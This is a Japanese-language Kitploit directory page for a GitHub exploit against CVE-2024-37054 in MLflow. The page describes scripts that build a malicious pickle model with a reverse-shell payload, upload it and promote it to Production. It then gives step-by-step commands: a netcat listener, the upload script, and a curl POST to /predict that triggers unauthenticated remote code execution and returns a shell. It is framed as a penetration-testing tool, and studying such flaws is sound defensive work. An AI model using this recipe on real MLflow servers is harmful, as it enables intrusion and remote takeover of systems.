Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-37054-MLflow-reverse-shell — CVE-2024-37054 のエクスプロイト: 悪意のある pickle モデルを生成し、MLflow にアップロードし、/predict エンドポイントを介してリモートコード実行をトリガーします。 | Kitploit
ツール/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

CVE-2024-37054 のエクスプロイト: 悪意のある pickle モデルを生成し、MLflow にアップロードし、/predict エンドポイントを介してリモートコード実行をトリガーします。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
3ヶ月前未レビュー

ツールとファイル


ファイル目的
generate_model.pyリバースシェルペイロードを含む悪意のある model.pkl を生成する
upload_model.pypickle を MLflow にアップロードし、Production に昇格させる
sample.csv/predict エンドポイントをトリガーするために使用される CSV ファイル

使用方法

1. 悪意のある pickle を生成する

generate_model.py を編集し、自分の tun0 IP を設定します:

root@kitploit:~
python3 generate_model.py

2. リスナーを起動する

root@kitploit:~
nc -lvnp 4444

3. 悪意のあるモデルをアップロードする

upload_model.py を編集します:

  • MLFLOW を http://127.0.0.1:5000 に設定する
  • MODEL_NAME をメインドメインで確認できるアクティブなモデル名に設定する
root@kitploit:~
python3 upload_model.py

4. 実行をトリガーする

クライアントアプリから新しいセッションクッキーを取得し、次のコマンドを実行します:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

リスナーにシェルが接続されます。


主要な脆弱性

MLflow モデルレジストリを介した Pickle 逆シリアル化

MLflow は、登録されたモデルを Python の pickle.load() を使用して読み込みます。細工された pickle をモデルアーティファクトとしてアップロードし、Production に昇格させると、その後の /predict への呼び出しによってサーバー側でペイロードが逆シリアル化され、アプリケーションユーザーとして認証なしの RCE が達成されます。

参考情報

  • MLflow REST API ドキュメント
  • Python Pickle 逆シリアル化
ツールをダウンロード